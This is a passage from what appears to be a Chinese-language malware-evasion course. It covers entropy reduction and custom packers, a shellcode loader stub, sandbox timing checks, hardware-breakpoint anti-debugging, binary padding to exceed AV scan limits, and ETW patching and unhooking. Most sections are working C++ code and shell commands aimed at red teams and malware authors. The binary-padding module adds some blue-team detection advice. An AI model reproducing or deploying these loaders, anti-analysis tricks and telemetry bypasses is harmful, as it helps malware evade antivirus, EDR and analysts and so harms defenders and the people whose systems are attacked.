  • 打包的二进制文件(如 UPX、MPRESS、Themida)

  • 加密或压缩的载荷

  • 混淆的 shellcode

高熵(接近 7.9 位/字节) 表示加密/压缩。


1. 通过 XOR 填充降低熵值

基本概念:
使用已知密钥对载荷进行 XOR 加密,并用零或可识别的低熵模式进行填充。

C++ 示例:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
#include <fstream>
#include <iostream>
#include <vector>

// XOR 加密文件并写入结果,填充以降低熵
void xor_and_pad_payload(const std::string& input, const std::string& output, uint8_t key) {
std::ifstream in(input, std::ios::binary);
std::ofstream out(output, std::ios::binary);
std::vector<uint8_t> buffer((std::istreambuf_iterator<char>(in)), std::istreambuf_iterator<char>());

for (auto& byte : buffer) {
byte ^= key; // XOR 加密
}

out.write(reinterpret_cast<char*>(buffer.data()), buffer.size());

// 添加 512 字节的 0x00 填充以降低熵
std::vector<uint8_t> pad(512, 0x00);
out.write(reinterpret_cast<char*>(pad.data()), pad.size());

std::cout << "[+] 载荷已被混淆并填充以降低熵。\n";
}

int main() {
xor_and_pad_payload("payload.bin", "obfuscated_payload.bin", 0xAA);
return 0;
}

注意事项:

  • 结果文件的熵值将低于原始的 XOR 加密版本。

  • 用 null、空格或可打印字符填充可以减少随机性。


2. 自定义 PE 打包器(Stub + 载荷)

与使用 UPX 不同,你可以构建自己的打包器:

  • 阶段 1:加载器 stub 解密或解压载荷

  • 阶段 2:在内存中执行载荷(反射加载,手动映射)

架构:

  1. 将 shellcode 或 PE 编译为二进制格式

  2. 对其进行 XOR 或压缩

  3. 创建一个 stub 加载器

  4. 将 stub 和载荷连接起来

  5. 在运行时,stub 解密/解压并在内存中执行载荷


3. 加载器 Stub – 最小示例(XOR 解码器)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
#include <windows.h>
#include <iostream>

// 加密的载荷包含在编译时
extern unsigned char payload[];
extern unsigned int payload_len;

void decrypt_payload(unsigned char* buf, size_t len, uint8_t key) {
for (size_t i = 0; i < len; ++i)
buf[i] ^= key;
}

int main() {
// 为载荷分配内存
void* exec_mem = VirtualAlloc(nullptr, payload_len, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
memcpy(exec_mem, payload, payload_len);

// 就地解密
decrypt_payload(reinterpret_cast<unsigned char*>(exec_mem), payload_len, 0xAA);

// 执行载荷
((void(*)())exec_mem)();

return 0;
}

你可以将这个 stub 与一个二进制资源链接(例如通过 xxd -i)包含混淆的 shellcode。


4. 实际恶意软件使用案例

  • FIN7 和 APT32 使用自定义的 stub 来降低熵值

  • Ursnif、LokiBot 使用填充的 XOR 或 LZNT1 压缩打包载荷

  • UPX 这样的打包器容易被标记,自定义逻辑显著减少了防病毒检测。


5. 通过自定义打包规避检测

标准打包器 容易被逆向分析,并且有针对其头部的签名。自定义打包器:

  • 绕过熵值启发式检测

  • 避免已知的段头和元数据

  • 规避基于模式的 YARA 规则

你可以编写 Python 或 C++ 工具来生成 stubs,并将混淆后的载荷附加上标记,以便后续解析。


6. 熵值测量工具

  • binwalk -E (Linux)

  • peframepefile (Python)

  • Detect It Easy (DIE)

  • EntropyDetector.py (自定义 YARA 脚本)


额外 – 降低内存中 Shellcode 的熵值

  • 将 shellcode 拆分为块并逐阶段解码

  • 使用模仿合法指令模式的解码器

  • 将 shellcode 嵌入到像 BMP 或 ICO 这样的资源中,并使用标记(例如 ImgPayloadInvoke-PSImage

7.6 - 自定义延时计时器与反沙箱技巧

目标:
通过引入 执行延时基于时间的检查 来规避自动化沙箱和分析工具,从而检测虚拟化、仿真或受限环境。


延时为何重要

许多沙箱:

  • 只运行几秒钟 来记录行为

  • 跳过或加速基于时间的 API(例如 Sleep

  • 使用指令仿真,而非实际硬件

恶意软件作者利用这一点:

  • 添加长时间的 Sleep() 调用

  • 检查 计时器精度

  • 测量 指令执行时间

  • 检测 加速的循环


1. 使用 Sleep 的基本延时(单独使用效果差)

1
2
3
4
5
6
7
8
9
#include <windows.h>
#include <iostream>

int main() {
std::cout << "[+] 睡眠 60 秒...\n";
Sleep(60000); // 睡眠 60,000 毫秒(60 秒)
std::cout << "[+] 醒来了!\n";
return 0;
}

问题:
许多沙箱会 挂钩 Sleep 并减少或跳过等待时间。因此,攻击者使用更先进的计时检查来 检测这种操作


2. 使用 Sleep + GetTickCount 检查计时

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#include <windows.h>
#include <iostream>

int main() {
DWORD start = GetTickCount();
Sleep(5000); // 预期延时大约为 5000 毫秒
DWORD elapsed = GetTickCount() - start;

if (elapsed < 4000) {
std::cout << "[-] 沙箱检测到:睡眠被跳过或加速。\n";
ExitProcess(0);
}

std::cout << "[+] 运行在真实系统中。\n";
return 0;
}

检测思路:
如果系统跳过了时间,测量到的经过时间将过短。


3. 使用 RDTSC 计时(CPU 时钟周期)

RDTSC = “读取时间戳计数器”,用于 周期精确的计时

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
#include <windows.h>
#include <iostream>

unsigned long long rdtsc() {
return __rdtsc();
}

int main() {
auto start = rdtsc();
Sleep(2000);
auto end = rdtsc();

unsigned long long delta = end - start;
std::cout << "[+] 睡眠期间的 TSC 时钟周期数: " << delta << "\n";

if (delta < 1000000000) {
std::cout << "[-] 沙箱可能被检测到(低 TSC 差值)。\n";
} else {
std::cout << "[+] 可能是一个真实的环境。\n";
}

return 0;
}

使用场景:
一些仿真器无法正确递增 TSC,或者返回不现实的值。


4. 基于循环的延时检测

一些沙箱 加速 Sleep(),但不会加速 CPU 密集型循环

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
#include <windows.h>
#include <iostream>

int main() {
DWORD start = GetTickCount();

// 长时间的循环模拟延时
for (volatile int i = 0; i < 100000000; ++i) {
// 空操作
}

DWORD elapsed = GetTickCount() - start;

std::cout << "[+] 循环执行时间: " << elapsed << " 毫秒\n";

if (elapsed < 500) {
std::cout << "[-] 沙箱检测到(循环执行过快)\n";
ExitProcess(0);
}

return 0;
}

5. 综合使用 Sleep + RDTSC + QueryPerformanceCounter

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
#include <windows.h>
#include <iostream>

int main() {
LARGE_INTEGER freq, start, end;
QueryPerformanceFrequency(&freq);
QueryPerformanceCounter(&start);

Sleep(3000);

QueryPerformanceCounter(&end);
double elapsed = (double)(end.QuadPart - start.QuadPart) / freq.QuadPart;

std::cout << "[+] 高分辨率时间: " << elapsed << " 秒\n";

if (elapsed < 2.0) {
std::cout << "[-] 执行过快,沙箱可能存在。\n";
} else {
std::cout << "[+] 可能是真实执行环境。\n";
}

return 0;
}

6. 实际使用案例

  • TrickBot, Emotet, Remcos: 延迟执行超过 60 秒

  • NanoCore RAT: 使用嵌套循环和 GetTickCount() 检查

  • LockBit 3.0: 针对多个 API 测量 Sleep() 的时间


7. 高级:通过 CreateTimerQueueTimer 实现线程级延时

Sleep 更具隐蔽性(不易被防病毒监控)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#include <windows.h>
#include <iostream>

void CALLBACK TimerCallback(PVOID lpParam, BOOLEAN TimerOrWaitFired) {
std::cout << "[+] 定时器完成。继续执行。\n";
}

int main() {
HANDLE hTimer = NULL;
CreateTimerQueueTimer(&hTimer, NULL, TimerCallback, NULL, 5000, 0, 0);

std::cout << "[+] 定时器计划 5 秒...\n";
Sleep(6000); // 确保定时器有足够时间触发

return 0;
}

实际使用技巧

  • 避免仅使用 Sleep() 延时;结合使用:

    • 时间验证

    • 用户交互(鼠标检测)

    • 线程定时器或隐藏线程

  • 使用熵值降低的打包 结合嵌入延时

  • 实现 分阶段执行:初始阶段为 Sleep 或计时;第二阶段在检查通过后解密载荷。


参考资料

7.7 - 硬件断点检测与规避

目标

检测并规避通过处理器调试寄存器(DR0–DR7)设置的硬件断点,这些寄存器常用于隐蔽调试逆向工程


什么是硬件断点?

与修改代码的软件断点(例如 INT30xCC)不同,硬件断点:

  • 使用CPU调试寄存器(DR0–DR3)监视特定的内存地址

  • 可以设置为在访问、写入、读/写或执行时触发

  • 非侵入式,使其更加隐蔽,更难以检测

这些断点常用于调试器,如WinDbg、x64dbg、OllyDbg以及恶意软件分析中。


如何检测硬件断点

1. 通过 NtQueryInformationThread 查询调试寄存器

最常见的方法是使用未文档化的 NtQueryInformationThreadThreadDebugPortThreadInformationClass = 0x11

但要直接访问调试寄存器,通常需要内联汇编内建函数

2. 直接访问DRx(汇编 - x86)

这种方法适用于32位代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
#include <windows.h>
#include <iostream>

bool check_hardware_breakpoints() {
CONTEXT ctx = {};
ctx.ContextFlags = CONTEXT_DEBUG_REGISTERS;

if (!GetThreadContext(GetCurrentThread(), &ctx)) {
return false;
}

// 如果任何调试寄存器DR0–DR3非零,表示存在硬件断点
if (ctx.Dr0 || ctx.Dr1 || ctx.Dr2 || ctx.Dr3) {
return true;
}

return false;
}

int main() {
if (check_hardware_breakpoints()) {
std::cout << "[-] 检测到硬件断点,退出。\n";
ExitProcess(0);
}

std::cout << "[+] 未检测到硬件断点,继续执行。\n";
return 0;
}

输出示例:

  • 在x64dbg中: 如果设置了硬件断点,进程会退出。

  • 没有调试器时: 执行继续正常进行。


为什么这有效

  • 调试寄存器(DR0–DR3)存储最多4个硬件断点地址。

  • 当调试器设置硬件断点时,它会写入这些寄存器之一。

  • GetThreadContext()CONTEXT_DEBUG_REGISTERS 可以检索这些值。


3. 混淆检测:反逆向工程技巧

可以通过随机化检测位置来避免静态分析:

1
2
3
4
5
6
7
8
9
10
11
12
void detect_dr_regs() {
CONTEXT ctx = {0};
ctx.ContextFlags = CONTEXT_DEBUG_REGISTERS;
HANDLE hThread = GetCurrentThread();

if (GetThreadContext(hThread, &ctx)) {
if (ctx.Dr0 || ctx.Dr1 || ctx.Dr2 || ctx.Dr3) {
std::cout << "[-] 检测到调试器(硬件断点)\n";
ExitProcess(0);
}
}
}

还可以在单独的线程中或分阶段执行此代码。


4. 高级:通过结构化异常处理(SEH)扫描DR寄存器

一些恶意软件触发故意的错误,并在异常处理程序中检查寄存器值,使静态跟踪更加困难。


5. 实际恶意软件使用

  • QbotCobalt Strike加载程序FIN7加载器中包含对DRx断点的检查。

  • 经常与 IsDebuggerPresent、TLS回调和反虚拟化技术结合使用。


硬件断点对红队的危险性

  • 它们不会修改代码或内存(与软件断点不同)。

  • 它们更加隐蔽,且在执行过程中更具持久性

  • 分析人员通常会在API函数上设置硬件断点(例如 VirtualAllocCreateProcess 等)以追踪恶意软件行为。

因此,检测和应对硬件断点是高级恶意软件或红队载荷的重要反调试措施。


6. DR寄存器的内部视图

寄存器 目的
DR0–DR3 包含断点地址
DR6 调试状态寄存器(指示哪个断点被触发)
DR7 调试控制寄存器(启用/禁用断点)

DR7 启用/禁用断点,DR6 告知哪个断点被触发。

因此,为了实现强有力的检测,应该同时检查 DR0–DR3(设置的地址)和 DR7(启用标志)


7. 扩展检测:DR7分析

让我们检查断点是否启用,而不仅仅是检查地址是否存在。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
#include <windows.h>
#include <iostream>

bool detect_enabled_hardware_breakpoints() {
CONTEXT ctx = {};
ctx.ContextFlags = CONTEXT_DEBUG_REGISTERS;

if (!GetThreadContext(GetCurrentThread(), &ctx)) {
return false;
}

// 检查DR7中的任何断点是否启用
bool enabled_bp = (ctx.Dr7 & 0xFF) != 0;

// 检查DR0–DR3中是否设置了任何地址
bool address_bp = ctx.Dr0 || ctx.Dr1 || ctx.Dr2 || ctx.Dr3;

return enabled_bp || address_bp;
}

int main() {
if (detect_enabled_hardware_breakpoints()) {
std::cout << "检测到硬件断点\n";
ExitProcess(1);
} else {
std::cout << "未发现硬件断点\n";
}
return 0;
}

为什么更好:

  • 通过DR7位掩码检测启用的断点。

  • 防止DRx已设置但未启用的情况。


8. 规避对策:混淆与随机化

8.1 在子线程中执行检测

为检测创建一个专用子线程,可能避免检测本身:

1
2
3
4
5
6
7
8
9
10
11
DWORD WINAPI HWBPCheckThread(LPVOID) {
if (detect_enabled_hardware_breakpoints()) {
ExitProcess(1);
}
return 0;
}

void run_check_in_thread() {
HANDLE hThread = CreateThread(nullptr, 0, HWBPCheckThread, nullptr, 0, nullptr);
WaitForSingleObject(hThread, 200);
}

8.2 混淆上下文标志

使用替代API或混合使用 SetThreadContext / NtQueryInformationThread 来混淆动态分析。


9. 欺骗上下文以迷惑调试器

恶意软件可以通过设置假DRx寄存器,使用 SetThreadContext 来欺骗调试器或沙箱,追踪错误的地址。

示例:

1
2
3
4
5
6
7
8
9
10
11
void spoof_debug_registers() {
CONTEXT ctx = {};
ctx.ContextFlags = CONTEXT_DEBUG_REGISTERS;

// 误导的地址
ctx.Dr0 = 0xDEADBEEF;
ctx.Dr1 = 0xBAADF00D;
ctx.Dr7 = 0x03; // 启用DR0

SetThreadContext(GetCurrentThread(), &ctx);
}

这可能导致调试器崩溃或误导。


10. 基于SEH的硬件断点检测

注入错误并使用SEH间接检查DRx(更隐蔽的方法):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
LONG WINAPI exception_handler(EXCEPTION_POINTERS* ex) {
CONTEXT* ctx = ex->ContextRecord;

if (ctx->Dr0 || ctx->Dr1 || ctx->Dr2 || ctx->Dr3 || (ctx->Dr7 & 0xFF)) {
ExitProcess(1);
}

return EXCEPTION_CONTINUE_EXECUTION;
}

void trigger_exception() {
__try {
int* p = nullptr;
*p = 0; // 错误触发SEH
} __except (exception_handler(GetExceptionInformation())) {
// 继续执行
}
}

这样可以将断点检查隐藏在静态分析和钩子之外。


11. 使用TLS回调进行早期检测

注册TLS回调以在main()执行之前检测断点:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
#pragma comment(linker, "/INCLUDE:_tls_used")
#pragma comment(linker, "/INCLUDE:tls_callback_func")

void NTAPI tls_callback(PVOID h, DWORD reason, PVOID r) {
if (reason == DLL_PROCESS_ATTACH) {
if


(detect_enabled_hardware_breakpoints()) {
ExitProcess(1);
}
}
}

EXTERN_C
#ifdef _WIN64
const
#endif
PIMAGE_TLS_CALLBACK tls_callback_func = tls_callback;

这可以防止调试器在执行开始后附加。


12. 实际案例:al-khaser

al-khaser 实现了多种反调试技术,包括:

  • DRx寄存器检查
  • DR7位掩码分析
  • 时间差异
  • TLS回调
  • INT 3陷阱

研究其代码以理解多层规避技术。


参考文献与工具

7.8 - 超大文件和二进制填充

为什么选择这个话题

一些AV/EDR引擎对文件扫描大小或递归解压归档的深度有限制。攻击者利用这一点,通过二进制填充(使文件变大)和压缩传输(小ZIP文件在解压后变得非常大)来绕过这些限制。Trellix记录了实际的攻击活动,其中小的压缩包解压后扩展到超过300MB的可执行文件,通常能够绕过大小限制的扫描。(trellix.com)


学习目标

完成本模块后,学生将能够:

  1. 解释如何滥用AV/EDR中的文件大小阈值归档递归限制。(trellix.com)

  2. 描述二进制填充(MITRE ATT&CK T1027.001),以及它如何影响哈希/签名和收集/扫描。(attack.mitre.org)

  3. 在安全实验室中演示如何将高度可压缩的内容压缩为1–10MB的ZIP文件,然后在解压时扩展。(zlib.net)

  4. 评估蓝队的检测与缓解(网关、EDR、邮件过滤器、沙箱限制)。(attack.mitre.org)


关键概念(威胁与技术概述)

1) AV/EDR的大小与深度限制

  • 引擎可能跳过或部分分析大文件,或者在解压归档时在达到限制深度后停止,以保护性能。Trellix观察到小的电子邮件ZIP文件可以解压为300MB以上的有效载荷(ZIP → ISO → EXE),旨在突破扫描限制。(trellix.com)

2) 二进制填充(MITRE ATT&CK T1027.001)

  • 添加垃圾字节/覆盖数据,改变文件在磁盘上的表示,而不改变其行为,从而绕过基于哈希的阻止列表和一些静态签名。

  • 填充可以将文件大小推高至超出扫描阈值,降低文件被分析或收集的机会。(attack.mitre.org)

3) “通过ZIP超大化”及极限压缩比

  • DEFLATE可以在简单数据(如零填充的文件)上达到**>1000:1的压缩率;一个50MB的全零文件可以压缩为~49KB——因此一个300MB的高度冗余有效载荷可以压缩成一个小于1MB到几MB**的ZIP文件。(zlib.net)

  • ZIP炸弹逻辑(嵌套归档或重复模式)展示了如何通过小型归档文件解压出庞大的数据;经典的42.zip42KB,解压后扩展到4.5PB。(现代工具通常能检测到这样的炸弹,但这个概念展示了为什么解压预算存在。)(Wikipedia)

4) 需要了解的工具与参考资料(仅供研究/实验室使用)

  • inflate.py — 使用零字节填充二进制文件,突破常见的EDR大小限制(仅用于研究/教育目的)。(GitHub)

  • 供应商研究:Trellix“SuperSize Me” 提供的关于紧凑归档扩展为非常大的可执行文件的示例。(trellix.com)

  • 技术简介:Unprotect/ATT&CK条目中的二进制填充(T1027.001)。(unprotect.it)

合法使用:所有活动必须仅限于您自己的隔离实验室,并使用无害文件。不要在您没有所有权/操作权或明确书面授权的网络上进行测试。


实验(受控的、无害的)

目标:观察如何将可压缩内容压缩为ZIP文件,并且在提取时重新膨胀超过典型的扫描阈值。此实验仅使用无害的虚拟数据。

A部分 — 创建一个填充的无害文件

  1. 获取一个您拥有的无害文件(例如,一个测试EXE或无害的文本/二进制数据块)。

  2. 附加一个大型的高度可压缩字节块(例如,零字节或0x41),直到文件的总大小为300–800MB。(此概念与inflate.py类似,但不要使用真实的恶意软件。)(GitHub)

  3. 记录磁盘上的大小和填充后的哈希变化。(二进制填充会改变校验和,可能绕过基于哈希的阻止列表。)(unprotect.it)

B部分 — 压缩并检查比率

  1. 使用DEFLATE高压缩比(级别9)压缩填充后的文件。

  2. 记录ZIP大小与未压缩大小;使用全零填充时,您可能会看到两到三个数量级的压缩率(例如,300MB → 几MB)。(zlib.net)

  3. 解压ZIP文件并验证解压后的大小与原始大文件一致。

C部分 — 观察扫描器行为(离线实验室)

  1. 隔离的虚拟机上使用测试模式的终端工具,查看日志/事件:

    • 扫描小ZIP文件

    • 解压并扫描扩展的文件

  2. 查找大小/深度信息跳过/部分扫描指示或不同的按需扫描与按访问扫描结果。(供应商记录了大文件的性能权衡和扫描考虑因素。)(docs.trellix.com)

可选阅读:Trellix展示了真实的攻击活动示例,如1.77MB ZIP → 300MB ISO → 300MB EXE77KB ZIP → 664MB EXE链条,正是利用了这些限制。(trellix.com)


红队考虑

  • 二进制填充:概念上,附加垃圾数据/覆盖物可以改变哈希和文件大小,而不影响功能。强调为什么这种方法有效,而不是如何将其武器化。([attack.mitre.org](https://

attack.mitre.org/techniques/T1027/001/ “Obfuscated Files or Information: Binary Padding, Sub-technique T1027.001 - Enterprise | MITRE ATT&CK®”))

  • 归档传递:可压缩的覆盖数据使得小ZIP文件在解压时膨胀成巨大的数据,有可能在解压时超过AV“预算”。(trellix.com)

蓝队检测与缓解

  1. 加固大小/深度策略

    • 记录最大文件大小最大递归深度,适用于邮件/网页/终端网关。

    • 在受控服务器(如MTA/SEG)上偏好解压后扫描,并根据风险档案调整沙箱中的爆炸预算。 (ATT&CK指出,大小限制影响检测/收集。)(attack.mitre.org)

  2. 标记可疑的压缩比

    • 极限压缩进行警报(例如,压缩大小远小于未压缩大小的可执行内容)。DEFLATE对简单数据的**>1000:1**压缩率显示了为什么小型归档文件可以隐藏非常大的有效载荷。(zlib.net)
  3. 将覆盖物视为遥测

    • 增加规则以检测大型PE覆盖物或统一字节区域(零字节、0x41),并将这些文件路由到深度分析,即使跳过了内容扫描。Trellix指出,攻击者附加了GB规模的统一字节覆盖物。(trellix.com)
  4. 内存中心检测

    • 当磁盘扫描因大小限制被绕过时,依赖行为和内存扫描;许多恶意软件家族在解压/执行后才能被识别。 (技术页面和供应商文档强调,填充绕过了静态检查,内存/行为仍然能暴露活动。)(attack.mitre.org)
  5. 网关限制与处理

    • 对归档使用超时/CPU预算安全解压;阻止或隔离包含巨大文件的归档超出政策限制的文件。Zip炸弹研究解释了为什么需要设定预算。 (Wikipedia)
  6. 狩猎查询

    • 查找:“ZIP包含PE/ISO > XMB”,“PE带覆盖物 > X%”,“突变的哈希与大小跳跃”或“重复字节段”。(技术T1027.001提供了填充技术的实际示例。)(attack.mitre.org)

评估

  • 解释二进制填充如何影响AV签名和文件收集。(unprotect.it)

  • 计算实验中运行的压缩比,并解释为什么ZIP文件保持在10MB以下。(zlib.net)

  • 提出两个补偿控制措施,在提取/执行后仍能捕捉恶意行为。(attack.mitre.org)


概念验证(PoC) — 演示超大文件与ZIP技巧

免责声明:本PoC仅使用无害的、用户生成的文件(例如虚拟二进制文件或文本)。仅用于教育和研究目的,在受控实验室中进行。不要使用真实恶意软件进行尝试。

第一步 — 创建一个填充的文件

我们从生成一个高度可压缩的文件(仅包含零)开始。Linux/macOS上:

1
2
# 创建一个500MB的零填充文件
dd if=/dev/zero of=padded.bin bs=1M count=500

Windows(PowerShell):

1
2
3
4
5
# 创建一个500MB的零填充文件
$size = 500MB
$fs = [System.IO.File]::Create("padded.bin")
$fs.SetLength($size)
$fs.Close()

此时,您已经有了一个500MB的二进制文件,内容全为零。这模拟了二进制填充(T1027.001),即向文件附加大量冗余数据。


第二步 — 使用ZIP压缩

现在压缩文件:

1
zip -9 compressed.zip padded.bin

观察结果:

  • ZIP文件大小很可能会小于5MB,因为DEFLATE算法对重复字节的压缩非常有效。

  • 解压时,文件会恢复为原始的500MB大小。


第三步 — 验证扩展

解压文件并检查:

1
2
unzip compressed.zip
ls -lh padded.bin

输出会确认文件已经恢复到其原始的500MB大小。


第四步 — 观察扫描器行为(仅限实验室)

  1. compressed.zip上传到您隔离实验室中的AV/EDR测试环境。

  2. 扫描ZIP文件 — 由于文件较小,扫描器通常会允许扫描。

  3. 解压并扫描扩展后的padded.bin — 有些扫描器会记录警告或跳过分析,因为文件大小超过了扫描阈值。


第五步 — 可选:演示对无害二进制文件的覆盖物填充

要模拟填充一个真实的可执行文件而不破坏执行,可以执行以下操作:

1
2
# 向无害的文件追加300MB的垃圾数据
dd if=/dev/zero bs=1M count=300 >> harmless.exe
  • 程序仍然运行(如果harmless.exe是可执行文件的话)。

  • 哈希发生变化(绕过哈希阻止列表)。

  • 文件大小超过了常规AV/EDR扫描的预算。

这演示了攻击者如何使用二进制填充覆盖物。


学生应该从这个PoC中学到什么

  • 文件大小限制很重要:许多AV/EDR引擎限制它们的扫描范围。

  • 二进制填充改变哈希:有效对抗静态阻止列表。

  • 压缩技巧可以绕过检查:小ZIP文件在解压后可以膨胀成几百MB或几GB。

  • 蓝队防御:标记极限压缩比,监控PE覆盖物,使用内存扫描。

进一步阅读与参考资料

  • Trellix研究 — “SuperSize Me”(超大有效载荷传递;跨电子邮件和容器的示例)。(trellix.com)

  • Unprotect — 二进制填充(概念、对校验和/签名的影响、大小限制规避)。(unprotect.it)

  • MITRE ATT&CK — T1027.001 二进制填充(技术、过程示例、检测/缓解说明)。最后修改:2025年4月25日。(attack.mitre.org)

  • inflate.py — 填充的开源示例(仅供研究/实验室使用)。(GitHub “GitHub - njcve/inflate.py: Artificially inflate a given binary to exceed common EDR file size limits. Can be used to bypass

common EDR.”))

  • zlib技术细节 — 对零填充数据进行经验性的**>1000:1**DEFLATE压缩(为什么1–10MB的ZIP文件如果内容高度可压缩,会隐藏300MB到GB的有效载荷)。(zlib.net)

  • ZIP炸弹(关于解压预算攻击的背景;42.zip扩展42KB → 4.5PB)。(Wikipedia)

模块 8 - 系统调用、内核和 EDR 规避

8.1 - ETW绕过(EtwEventWrite补丁,ETW归零)

目标:

ETW(Windows事件追踪)被操作系统和现代EDR产品用于实时监控执行行为,包括进程创建、DLL加载和网络活动。红队成员或恶意软件通常通过打补丁或禁用与ETW相关的函数来减少或消除执行过程中的遥测可见性。

我们将重点介绍两种主要技术:

  1. 打补丁EtwEventWrite使其立即返回

  2. 使用磁盘上的干净字节恢复EtwEventWrite(内联钩子规避)


1. EtwEventWrite补丁(立即返回)

概念:

ret操作码(0xC3)覆盖EtwEventWrite中的第一条指令,使该函数立即返回并且不进行任何日志记录。

C++代码示例 - 打补丁 EtwEventWrite

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
#include <Windows.h>
#include <iostream>

// 补丁EtwEventWrite使其立即返回(0xC3 = RET)
void PatchEtwEventWrite() {
// 获取ntdll.dll的句柄,其中包含EtwEventWrite
HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
if (!hNtdll) {
std::cerr << "获取ntdll.dll句柄失败\n";
return;
}

// 获取EtwEventWrite函数的地址
void* pEtwEventWrite = GetProcAddress(hNtdll, "EtwEventWrite");
if (!pEtwEventWrite) {
std::cerr << "未找到EtwEventWrite\n";
return;
}

// 用0xC3(ret)覆盖第一字节
DWORD oldProtect;
if (VirtualProtect(pEtwEventWrite, 1, PAGE_EXECUTE_READWRITE, &oldProtect)) {
*((BYTE*)pEtwEventWrite) = 0xC3;
VirtualProtect(pEtwEventWrite, 1, oldProtect, &oldProtect);
std::cout << "成功补丁EtwEventWrite\n";
} else {
std::cerr << "更改内存保护失败\n";
}
}

int main() {
PatchEtwEventWrite();

// 正常程序执行
MessageBoxA(NULL, "载荷运行中...", "信息", MB_OK);
return 0;
}

注意:

  • 此补丁非常简单,现代的AV/EDR可能会通过验证关键函数的完整性来检测到。

  • 它在用户模式下工作,兼容大多数Windows 10/11系统。

  • 成功后,EtwEventWrite将停止发送任何事件。


2. EtwEventWrite归零(恢复原始字节)

EDR可能通过跳转指令钩住EtwEventWrite以监控或拦截调用。你可以从磁盘上备份的ntdll.dll恢复原始的干净字节。

C++代码示例 - 从磁盘恢复干净字节

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
#include <Windows.h>
#include <iostream>
#include <TlHelp32.h>

// 恢复EtwEventWrite的原始字节
void UnhookEtwEventWrite() {
// 加载ntdll到内存
HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
if (!hNtdll) {
std::cerr << "无法获取ntdll.dll句柄\n";
return;
}

// 查找EtwEventWrite函数地址
void* hookedFunc = GetProcAddress(hNtdll, "EtwEventWrite");
if (!hookedFunc) {
std::cerr << "未找到EtwEventWrite\n";
return;
}

// 打开磁盘上ntdll.dll的只读映射
HANDLE hFile = CreateFileA("C:\\Windows\\System32\\ntdll.dll", GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);
if (hFile == INVALID_HANDLE_VALUE) {
std::cerr << "无法从磁盘打开ntdll.dll\n";
return;
}

HANDLE hMapping = CreateFileMappingA(hFile, NULL, PAGE_READONLY | SEC_IMAGE, 0, 0, NULL);
if (!hMapping) {
CloseHandle(hFile);
std::cerr << "创建文件映射失败\n";
return;
}

LPVOID cleanBase = MapViewOfFile(hMapping, FILE_MAP_READ, 0, 0, 0);
if (!cleanBase) {
CloseHandle(hMapping);
CloseHandle(hFile);
std::cerr << "映射ntdll失败\n";
return;
}

// 从映射的干净ntdll中获取EtwEventWrite
void* cleanFunc = GetProcAddress((HMODULE)cleanBase, "EtwEventWrite");

// 打补丁覆盖前几个字节(通常16字节足够)
DWORD oldProtect;
if (VirtualProtect(hookedFunc, 16, PAGE_EXECUTE_READWRITE, &oldProtect)) {
memcpy(hookedFunc, cleanFunc, 16);
VirtualProtect(hookedFunc, 16, oldProtect, &oldProtect);
std::cout << "成功恢复EtwEventWrite\n";
} else {
std::cerr << "无法解保护钩住的函数内存\n";
}

// 清理
UnmapViewOfFile(cleanBase);
CloseHandle(hMapping);
CloseHandle(hFile);
}

int main() {
UnhookEtwEventWrite();

// 继续运行你的载荷或shellcode
MessageBoxA(NULL, "成功取消ETW钩子", "绕过", MB_OK);
return 0;
}

检测风险:

  1. YARA规则通常会扫描:

    • 0xC3RET)出现在EtwEventWrite的开头。

    • 从原始NTDLL部分中修改的字节。

  2. Defender ATPCrowdStrike Falcon检查内存区域并检测内存补丁。

  3. 取消钩子比补丁更隐蔽,但仍然可以通过运行时验证检测到。


链接:https://github.com/0xflux/ETW-Bypass-Rust

https://github.com/Kara-4search/BypassETW_CSharp

https://github.com/Gurpreet06/ETW-Patcher

8.2 - EDR的内核回调

目标:了解端点检测与响应(EDR)工具如何利用内核模式回调,并探索如何枚举、操控或注销这些回调来实现规避。


什么是内核回调?

在Windows中,内核模式回调允许驱动程序(包括EDR驱动)注册对某些系统级事件的关注。这些回调功能强大,常用于:

  • 监控进程创建PsSetCreateProcessNotifyRoutine

  • 监控线程创建PsSetCreateThreadNotifyRoutine

  • 监控映像加载PsSetLoadImageNotifyRoutine

  • 监控注册表活动CmRegisterCallbackEx

这些回调通常被EDR用来在用户模式启动之前就获得系统活动的可见性。


为什么要规避内核回调?

EDR使用这些回调来:

  • 记录或阻止可疑的进程或模块。

  • 在威胁展开之前钩住或分析执行。

  • 在内核空间中关联行为,避免错过一些信息。

为了避免被检测到:

  • 恶意软件尝试枚举禁用这些回调。

  • 高级技术涉及绕过EDR驱动保护,或注销回调


EDR如何实现回调(内部原理)

EDR驱动通过如下API注册回调:

1
2
3
NTSTATUS PsSetCreateProcessNotifyRoutine(PCREATE_PROCESS_NOTIFY_ROUTINE NotifyRoutine, BOOLEAN Remove);
NTSTATUS PsSetCreateThreadNotifyRoutine(PCREATE_THREAD_NOTIFY_ROUTINE NotifyRoutine);
NTSTATUS PsSetLoadImageNotifyRoutine(PLOAD_IMAGE_NOTIFY_ROUTINE NotifyRoutine);

